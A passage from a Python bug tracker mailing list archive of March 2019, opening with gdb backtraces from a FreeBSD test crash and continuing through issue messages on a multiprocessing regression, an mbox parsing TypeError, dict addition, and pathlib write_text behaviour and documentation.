#2  0x00000008016f9b55 in sock_accept_impl (s=0x801bda050, data=0x7fffdfff45c0) at /usr/home/vstinner/prog/python/master/Modules/socketmodule.c:2592
#3  0x00000008016fa1ec in sock_call_ex (s=0x801bda050, writing=0, sock_func=0x8016f9b00 <sock_accept_impl>, data=0x7fffdfff45c0, connect=0, err=0x0, timeout=-1000000000) at /usr/home/vstinner/prog/python/master/Modules/socketmodule.c:886
#4  0x00000008016f9aef in sock_call (s=0x801bda050, writing=0, func=0x8016f9b00 <sock_accept_impl>, data=0x7fffdfff45c0) at /usr/home/vstinner/prog/python/master/Modules/socketmodule.c:938
#5  0x00000008016f70e3 in sock_accept (s=0x801bda050, _unused_ignored=0x0) at /usr/home/vstinner/prog/python/master/Modules/socketmodule.c:2634
#6  0x000000000035415c in _PyMethodDef_RawFastCallKeywords (method=0x801701b70 <sock_methods>, self=<socket at remote 0x801bda050>, args=0x8027a01f8, nargs=0, kwnames=0x0) at Objects/call.c:631
#7  0x00000000004d3841 in _PyMethodDescr_FastCallKeywords (descrobj=<method_descriptor at remote 0x8016df360>, args=0x8027a01f0, nargs=1, kwnames=0x0) at Objects/descrobject.c:290
#8  0x000000000037e20e in call_function (pp_stack=0x7fffdfff4cb8, oparg=1, kwnames=0x0) at Python/ceval.c:4698
#9  0x0000000000378dec in _PyEval_EvalFrameDefault (f=Frame 0x8027a0050, for file /usr/home/vstinner/prog/python/master/Lib/socket.py, line 212, in accept (), throwflag=0) at Python/ceval.c:3280
#10 0x0000000000369595 in PyEval_EvalFrameEx (f=Frame 0x8027a0050, for file /usr/home/vstinner/prog/python/master/Lib/socket.py, line 212, in accept (), throwflag=0) at Python/ceval.c:624
...
#53 0x0000000800677776 in thread_start (curthread=0x80265a300) at /usr/src/lib/libthr/thread/thr_create.c:292

Thread 2 (LWP 100120):
#0  0x000000080076e981 in __je_tcache_event_hard (tsd=0x8005ec090, tcache=0x8005ec250) at jemalloc_tcache.c:54
#1  0x00000008007b05e3 in tcache_event (tsd=<optimized out>, tcache=<optimized out>) at /usr/src/contrib/jemalloc/include/jemalloc/internal/tcache_inlines.h:37
#2  tcache_dalloc_small (tsd=<optimized out>, tcache=<optimized out>, ptr=<optimized out>, binind=<optimized out>, slow_path=false) at /usr/src/contrib/jemalloc/include/jemalloc/internal/tcache_inlines.h:185
#3  arena_dalloc (tcache=<optimized out>, slow_path=false, tsdn=<optimized out>, ptr=<optimized out>, alloc_ctx=<optimized out>) at /usr/src/contrib/jemalloc/include/jemalloc/internal/arena_inlines_b.h:224
#4  idalloctm (slow_path=false, tsdn=<optimized out>, ptr=<optimized out>, tcache=<optimized out>, alloc_ctx=<optimized out>, is_internal=<optimized out>) at /usr/src/contrib/jemalloc/include/jemalloc/internal/jemalloc_internal_inlines_c.h:118
#5  ifree (tsd=<optimized out>, ptr=<optimized out>, tcache=<optimized out>, slow_path=false) at jemalloc_jemalloc.c:2226
#6  __free (ptr=<optimized out>) at jemalloc_jemalloc.c:2397
#7  0x0000000801fabbd4 in OPENSSL_LH_free (lh=0x801b6c0c0) at /usr/src/crypto/openssl/crypto/lhash/lhash.c:88
#8  0x0000000801f2d6ac in lh_ERR_STRING_DATA_free (lh=<optimized out>) at /usr/src/crypto/openssl/include/openssl/err.h:217
#9  err_cleanup () at /usr/src/crypto/openssl/crypto/err/err.c:289
#10 0x0000000801fde3a7 in OPENSSL_cleanup () at /usr/src/crypto/openssl/crypto/init.c:569
#11 0x000000080082a0c5 in __cxa_finalize (dso=0x0) at /usr/src/lib/libc/stdlib/atexit.c:239
#12 0x00000008007b9cc1 in exit (status=0) at /usr/src/lib/libc/stdlib/exit.c:74
#13 0x000000000045c6e8 in Py_Exit (sts=0) at Python/pylifecycle.c:2166
#14 0x000000000041c403 in handle_system_exit () at Python/pythonrun.c:641
#15 0x000000000041bf86 in PyErr_PrintEx (set_sys_last_vars=1) at Python/pythonrun.c:651
#16 0x000000000041b20e in PyErr_Print () at Python/pythonrun.c:547
#17 0x000000000041be48 in PyRun_SimpleStringFlags (command=0x80134b460 "from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=6, pipe_handle=9)\n", flags=0x7fffffffe7f0) at Python/pythonrun.c:462
#18 0x00000000002cb691 in pymain_run_command (command=0x800acd910 L"from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=6, pipe_handle=9)\n", cf=0x7fffffffe7f0) at Modules/main.c:527
#19 0x00000000002cadb5 in pymain_run_python (interp=0x800b08010, exitcode=0x7fffffffe8cc) at Modules/main.c:804
#20 0x00000000002ca6ba in pymain_main (args=0x7fffffffe928) at Modules/main.c:896
#21 0x00000000002ca788 in _Py_UnixMain (argc=4, argv=0x7fffffffe9e8) at Modules/main.c:937
#22 0x00000000002c9372 in main (argc=4, argv=0x7fffffffe9e8) at ./Programs/python.c:16

Thread 1 (LWP 100696):
#0  0x0000000000368210 in take_gil (tstate=0x8027e2050) at Python/ceval_gil.h:216
#1  0x0000000000368a94 in PyEval_RestoreThread (tstate=0x8027e2050) at Python/ceval.c:281
#2  0x000000000058fdbe in internal_close (self=0x802cb7440) at ./Modules/_io/fileio.c:121
#3  0x000000000058fcd3 in _io_FileIO_close_impl (self=0x802cb7440) at ./Modules/_io/fileio.c:163
#4  0x000000000058ece9 in _io_FileIO_close (self=0x802cb7440, _unused_ignored=0x0) at ./Modules/_io/clinic/fileio.c.h:23
#5  0x00000000003537d9 in _PyMethodDef_RawFastCallDict (method=0x6298f0 <fileio_methods+224>, self=<_io.FileIO at remote 0x802cb7440>, args=0x7fffdf3e92e0, nargs=0, kwargs=0x0) at Objects/call.c:484
#6  0x000000000035200d in _PyCFunction_FastCallDict (func=<built-in method close of _io.FileIO object at remote 0x802cb7440>, args=0x7fffdf3e92e0, nargs=0, kwargs=0x0) at Objects/call.c:584
#7  0x0000000000351501 in _PyObject_FastCallDict (callable=<built-in method close of _io.FileIO object at remote 0x802cb7440>, args=0x7fffdf3e92e0, nargs=0, kwargs=0x0) at Objects/call.c:103
#8  0x000000000035613e in object_vacall (callable=<built-in method close of _io.FileIO object at remote 0x802cb7440>, vargs=0x7fffdf3e94b0) at Objects/call.c:1200
#9  0x0000000000355f07 in PyObject_CallMethodObjArgs (callable=<built-in method close of _io.FileIO object at remote 0x802cb7440>, name='close') at Objects/call.c:1225
#10 0x0000000000597096 in buffered_close (self=0x8025e2ea8, args=0x0) at ./Modules/_io/bufferedio.c:524
#11 0x00000000003537d9 in _PyMethodDef_RawFastCallDict (method=0x62bc10 <bufferedreader_methods+64>, self=<_io.BufferedReader at remote 0x8025e2ea8>, args=0x0, nargs=0, kwargs=0x0) at Objects/call.c:484
#12 0x000000000035200d in _PyCFunction_FastCallDict (func=<built-in method close of _io.BufferedReader object at remote 0x8025e2ea8>, args=0x0, nargs=0, kwargs=0x0) at Objects/call.c:584
#13 0x0000000000351501 in _PyObject_FastCallDict (callable=<built-in method close of _io.BufferedReader object at remote 0x8025e2ea8>, args=0x0, nargs=0, kwargs=0x0) at Objects/call.c:103
#14 0x0000000000354dc6 in _PyObject_CallFunctionVa (callable=<built-in method close of _io.BufferedReader object at remote 0x8025e2ea8>, format=0x0, va=0x7fffdf3e9950, is_size_t=1) at Objects/call.c:933
#15 0x000000000035558b in callmethod (callable=<built-in method close of _io.BufferedReader object at remote 0x8025e2ea8>, format=0x0, va=0x7fffdf3e9950, is_size_t=1) at Objects/call.c:1029
#16 0x0000000000355d20 in _PyObject_CallMethodId_SizeT (obj=<_io.BufferedReader at remote 0x8025e2ea8>, name=0x62f660 <PyId_close>, format=0x0) at Objects/call.c:1147
#17 0x00000000005a5373 in _io_TextIOWrapper_close_impl (self=0x80270c750) at ./Modules/_io/textio.c:2957
#18 0x00000000005a26c9 in _io_TextIOWrapper_close (self=0x80270c750, _unused_ignored=0x0) at ./Modules/_io/clinic/textio.c.h:552
#19 0x00000000003537d9 in _PyMethodDef_RawFastCallDict (method=0x62e960 <textiowrapper_methods+192>, self=<_io.TextIOWrapper at remote 0x80270c750>, args=0x7fffdf3e9c40, nargs=0, kwargs=0x0) at Objects/call.c:484
#20 0x000000000035200d in _PyCFunction_FastCallDict (func=<built-in method close of _io.TextIOWrapper object at remote 0x80270c750>, args=0x7fffdf3e9c40, nargs=0, kwargs=0x0) at Objects/call.c:584
#21 0x0000000000351501 in _PyObject_FastCallDict (callable=<built-in method close of _io.TextIOWrapper object at remote 0x80270c750>, args=0x7fffdf3e9c40, nargs=0, kwargs=0x0) at Objects/call.c:103
#22 0x000000000035613e in object_vacall (callable=<built-in method close of _io.TextIOWrapper object at remote 0x80270c750>, vargs=0x7fffdf3e9e10) at Objects/call.c:1200
#23 0x0000000000355f07 in PyObject_CallMethodObjArgs (callable=<built-in method close of _io.TextIOWrapper object at remote 0x80270c750>, name='close') at Objects/call.c:1225
#24 0x000000000058c5d7 in iobase_exit (self=<_io.TextIOWrapper at remote 0x80270c750>, args=(None, None, None)) at ./Modules/_io/iobase.c:469
#25 0x000000000035396b in _PyMethodDef_RawFastCallDict (method=0x629270 <iobase_methods+480>, self=<_io.TextIOWrapper at remote 0x80270c750>, args=0x7fffdf3ea4e0, nargs=3, kwargs=0x0) at Objects/call.c:520
#26 0x000000000035200d in _PyCFunction_FastCallDict (func=<built-in method __exit__ of _io.TextIOWrapper object at remote 0x80270c750>, args=0x7fffdf3ea4e0, nargs=3, kwargs=0x0) at Objects/call.c:584
#27 0x0000000000351501 in _PyObject_FastCallDict (callable=<built-in method __exit__ of _io.TextIOWrapper object at remote 0x80270c750>, args=0x7fffdf3ea4e0, nargs=3, kwargs=0x0) at Objects/call.c:103
#28 0x0000000000378239 in _PyEval_EvalFrameDefault (f=Frame 0x802c20630, for file /usr/home/vstinner/prog/python/master/Lib/linecache.py, line 393, in updatecache (), throwflag=0) at Python/ceval.c:3155
...
#107 0x0000000800677776 in thread_start (curthread=0x8027e7a00) at /usr/src/lib/libthr/thread/thr_create.c:292

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:03:37 2019
From: report at bugs.python.org (Enrico Zini)
Date: Mon, 04 Mar 2019 11:03:37 +0000
Subject: [issue36180] mboxMessage.get_payload throws TypeError on malformed
 content type
Message-ID: <1551697417.39.0.601639302301.issue36180@roundup.psfhosted.org>


New submission from Enrico Zini <enrico at enricozini.org>:

This simple code:

```
import mailbox

mbox = mailbox.mbox("broken.mbox")
for msg in mbox:
    msg.get_payload()
```

Fails rather unexpectedly:

```
$ python3 broken.py 
Traceback (most recent call last):
  File "broken.py", line 5, in <module>
    msg.get_payload()
  File "/usr/lib/python3.7/email/message.py", line 267, in get_payload
    payload = bpayload.decode(self.get_param('charset', 'ascii'), 'replace')
TypeError: decode() argument 1 must be str, not tuple
```

(I'm attaching a zip with code and mailbox)

I would have expected either that the part past text/plain is ignored if it doesn't make sense, or that content-type is completely ignored.

I have to process a large mailbox archive, and this is currently how I had to work around this issue, and it's causing me to have to skip email content which would otherwise be reasonably accessible:

https://salsa.debian.org/nm-team/echelon/commit/617ce935a31f6256257ffb24e11a5666306406c3

----------
files: broken.zip
messages: 337091
nosy: enrico
priority: normal
severity: normal
status: open
title: mboxMessage.get_payload throws TypeError on malformed content type
Added file: https://bugs.python.org/file48184/broken.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36180>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:04:54 2019
From: report at bugs.python.org (Mattia Rizzolo)
Date: Mon, 04 Mar 2019 11:04:54 +0000
Subject: [issue36180] mboxMessage.get_payload throws TypeError on malformed
 content type
In-Reply-To: <1551697417.39.0.601639302301.issue36180@roundup.psfhosted.org>
Message-ID: <1551697494.42.0.278924492937.issue36180@roundup.psfhosted.org>


Change by Mattia Rizzolo <mattia at mapreri.org>:


----------
nosy: +mapreri

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36180>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:30:12 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 11:30:12 +0000
Subject: [issue36114] test_multiprocessing_spawn:
 WithProcessesTestSharedMemory dumps core in AMD64 FreeBSD CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551699012.65.0.964316273567.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Sometimes, I can reproduce the crash using:
./python -m test --matchfile=bisect5 test_multiprocessing_spawn --fail-env-changed -F

Using this file:

test.test_multiprocessing_spawn.WithThreadsTestQueue.test_timeout
test.test_multiprocessing_spawn.WithProcessesTestBarrier.test_default_timeout
test.test_multiprocessing_spawn.WithThreadsTestManagerRestart.test_rapid_restart
test.test_multiprocessing_spawn.WithProcessesTestPool.test_release_task_refs
test.test_multiprocessing_spawn.WithManagerTestLock.test_rlock

It seems like the following test is enough to creates a coredump:

test.test_multiprocessing_spawn.WithThreadsTestManagerRestart.test_rapid_restart

Problem: it's really hard to write a *reliable* script/method to trigger the crash. This race condition is very well hidden!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:31:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 11:31:16 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551699076.76.0.904531507542.issue36114@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: test_multiprocessing_spawn: WithProcessesTestSharedMemory dumps core in AMD64 FreeBSD CURRENT Shared 3.x -> test_multiprocessing_spawn dumps core in AMD64 FreeBSD CURRENT Shared 3.x

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:53:02 2019
From: report at bugs.python.org (SilentGhost)
Date: Mon, 04 Mar 2019 11:53:02 +0000
Subject: [issue36180] mboxMessage.get_payload throws TypeError on malformed
 content type
In-Reply-To: <1551697417.39.0.601639302301.issue36180@roundup.psfhosted.org>
Message-ID: <1551700382.46.0.264370123711.issue36180@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +email
nosy: +barry, r.david.murray
stage:  -> test needed
type:  -> behavior
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36180>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:04:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 12:04:59 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551701099.25.0.719099478692.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Currently guilty:

commit ef4ac967e2f3a9a18330cc6abe14adb4bc3d0465
Author: Eric Snow <ericsnowcurrently at gmail.com>
Date:   Sun Feb 24 15:40:47 2019 -0800

    bpo-33608: Factor out a private, per-interpreter _Py_AddPendingCall(). (GH-11617)
    
    This involves moving the global "pending calls" state to PyInterpreterState.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:09:17 2019
From: report at bugs.python.org (Viktor Kharkovets)
Date: Mon, 04 Mar 2019 12:09:17 +0000
Subject: [issue36144] Dictionary addition.
In-Reply-To: <1551327538.36.0.964853059958.issue36144@roundup.psfhosted.org>
Message-ID: <1551701357.09.0.477837358069.issue36144@roundup.psfhosted.org>


Viktor Kharkovets <viktor.kharkovets at gmail.com> added the comment:

If we're going to forget about commutativity of +, should we also implement +/+= for sets?

----------
nosy: +slam

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36144>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:14:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 12:14:52 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551701692.85.0.58188229403.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Ok, I confirm that the commit ef4ac967e2f3a9a18330cc6abe14adb4bc3d0465 introduced a regression in test.test_multiprocessing_spawn.WithThreadsTestManagerRestart.test_rapid_restart.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:16:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 12:16:57 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551701817.83.0.80982729391.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The commit ef4ac967e2f3a9a18330cc6abe14adb4bc3d0465 introduced a regression in test.test_multiprocessing_spawn.WithThreadsTestManagerRestart.test_rapid_restart: bpo-36114.

Would it be possible to revert it until the bug is properly understood and fixed?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:20:32 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 04 Mar 2019 12:20:32 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551702032.88.0.315487906386.issue36179@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +cstratak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:21:08 2019
From: report at bugs.python.org (Vinay Rao)
Date: Mon, 04 Mar 2019 12:21:08 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
Message-ID: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>


New submission from Vinay Rao <vinayluzrao at gmail.com>:

- Default should be 'w' for compatibility.

- There should be a check that makes sure mode is either 'w' or 'a', or else raise ValueError.

----------
components: Library (Lib)
messages: 337097
nosy: vinayluzrao
priority: normal
severity: normal
status: open
title: Add mode parameter to PurePath.write_text to allow for 'a' mode
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:28:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 04 Mar 2019 12:28:38 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
In-Reply-To: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>
Message-ID: <1551702518.74.0.790404890146.issue36181@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

append_text helper was proposed as part of issue35095 and adding a parameter append was also discussed as part of the original API issue20218 . Adding @pitrou to decide upon the API.

----------
nosy: +pitrou, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:36:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 12:36:47 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551703007.52.0.403928009319.issue33608@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12157

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:37:09 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 12:37:09 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
In-Reply-To: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>
Message-ID: <1551703029.17.0.226240210081.issue36181@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

Not that it makes a big difference, but write_text is a method of the Path class, not PurePath.

----------
nosy: +lys.nikolaou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:51:21 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 12:51:21 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
Message-ID: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>


New submission from Lysandros Nikolaou <lisandrosnik at gmail.com>:

Hi,

in the pathlib.Path.write_bytes() documentation it is clearly stated that "An existing file of the same name is overwritten." Wouldn't it make sense to include something similar to the pathlib.Path.write_text() docs. I had to quickly test it manually to find out what's happening as it wasn't clear to me if the statement applies to write_text() as well.

----------
assignee: docs at python
components: Documentation
messages: 337100
nosy: docs at python, lys.nikolaou
priority: normal
severity: normal
status: open
title: Path.write_text() docs do not include the case that a file exists
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:51:47 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 12:51:47 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
In-Reply-To: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>
Message-ID: <1551703907.99.0.0578453589473.issue36182@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

For reference, https://docs.python.org/3/library/pathlib.html#pathlib.Path.write_bytes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:52:17 2019
From: report at bugs.python.org (Vinay Rao)
Date: Mon, 04 Mar 2019 12:52:17 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
In-Reply-To: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>
Message-ID: <1551703937.87.0.502739587016.issue36181@roundup.psfhosted.org>


Vinay Rao <vinayluzrao at gmail.com> added the comment:

Upon reading the issue threads linked by @xtreak, I have changed my mind and think this is a bad idea.
1) It adds more to maintain without offering much benefit (the use case of the shortcut is probably quite rare)
2) The argument 'mode' only accepting two options is probably a bit unintuitive, considering it typically accepts many others in other ocurrences of this type of functionality.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:55:27 2019
From: report at bugs.python.org (Vinay Rao)
Date: Mon, 04 Mar 2019 12:55:27 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
In-Reply-To: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>
Message-ID: <1551704127.89.0.928704581286.issue36181@roundup.psfhosted.org>


Vinay Rao <vinayluzrao at gmail.com> added the comment:

Oh, and write_bytes would have to go thorough the same modification to make them consistent.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:01:50 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 13:01:50 +0000
Subject: [issue20906] Issues in Unicode HOWTO
In-Reply-To: <1394702187.81.0.00522221343959.issue20906@psf.upfronthosting.co.za>
Message-ID: <1551704510.37.0.877126759878.issue20906@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 84fa6b9e5932af981cb299c0c5ac80b9cc37c3fa by Miss Islington (bot) in branch '3.7':
bpo-20906: Various revisions to the Unicode howto  (GH-8394)
https://github.com/python/cpython/commit/84fa6b9e5932af981cb299c0c5ac80b9cc37c3fa


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20906>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:01:50 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 13:01:50 +0000
Subject: [issue34484] Unicode HOWTO incorrectly refers to Private Use Area for
 surrogateescape
In-Reply-To: <1535058879.5.0.56676864532.issue34484@psf.upfronthosting.co.za>
Message-ID: <1551704510.53.0.667867448451.issue34484@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 84fa6b9e5932af981cb299c0c5ac80b9cc37c3fa by Miss Islington (bot) in branch '3.7':
bpo-20906: Various revisions to the Unicode howto  (GH-8394)
https://github.com/python/cpython/commit/84fa6b9e5932af981cb299c0c5ac80b9cc37c3fa


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34484>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:02:34 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 04 Mar 2019 13:02:34 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
In-Reply-To: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>
Message-ID: <1551704554.53.0.454578790995.issue36182@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

It may be removed accidentally by this commit.

https://github.com/python/cpython/commit/8477ed60486a22f79f257ee49f0bc18d0e73f216#diff-56cd2f82cd518e7baf1edab64771f619

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:05:30 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 04 Mar 2019 13:05:30 +0000
Subject: [issue36144] Dictionary addition.
In-Reply-To: <1551327538.36.0.964853059958.issue36144@roundup.psfhosted.org>
Message-ID: <1551704730.41.0.311647627322.issue36144@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

> should we also implement +/+= for sets?

The question is: what would that do? The same as '|=' ? That would be rather confusing, I think. "|" (meaning: "or") seems a very natural operation for sets, in the same way that "|" operates on bits in integers. That suggests that "|" is the right operator for sets.

In any case, this is an unrelated proposal that is better not discussed in this ticket. The only link is whether "|" is the more appropriate operator also for dicts, which is to be discussed in the PEP and thus also not in this ticket.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36144>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:07:57 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 04 Mar 2019 13:07:57 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
In-Reply-To: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>
Message-ID: <1551704877.77.0.847891760737.issue36182@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I was searching along similar lines since this was present as part of the original commit : https://hg.python.org/cpython/rev/a4da150fbfd4 . I guess it makes sense to restore the text.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:11:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:11:01 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
In-Reply-To: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>
Message-ID: <1551705061.73.0.3096703495.issue36177@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

It seems like the test started to fail in this build (at Feb 25):
https://buildbot.python.org/all/#/builders/58/builds/1977

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:12:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:12:33 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551705153.47.0.358774600257.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> The commit ef4ac967e2f3a9a18330cc6abe14adb4bc3d0465 introduced a regression in test.test_multiprocessing_spawn.WithThreadsTestManagerRestart.test_rapid_restart: bpo-36114.

There is a very similar bug on Windows: bpo-36116.

I'm now also quite confident that bpo-36177 is also a regression caused by this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:12:49 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 13:12:49 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
In-Reply-To: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>
Message-ID: <1551705169.5.0.150841587019.issue36182@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

I'll submit a PR shortly.

